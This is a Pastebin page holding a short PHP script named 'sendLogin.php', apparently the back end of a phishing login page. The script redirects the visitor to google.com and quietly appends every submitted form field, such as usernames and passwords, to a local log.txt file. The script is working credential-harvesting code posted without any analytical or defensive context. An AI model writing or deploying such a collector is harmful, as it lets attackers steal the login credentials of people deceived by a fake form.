Advertisement
Guest User

sendLogin.php av andrew92

a guest
Oct 24th, 2013
17
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.23 KB | None | 0 0
  1. <?php
  2. header ('Location: http://google.com');
  3.  
  4. $handle = fopen("log.txt", "a");
  5. foreach($_POST as $variable => $value) {
  6.     fwrite($handle, $variable . "=" . $value . "\r\n");
  7. }
  8.  
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. exit;
  12. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement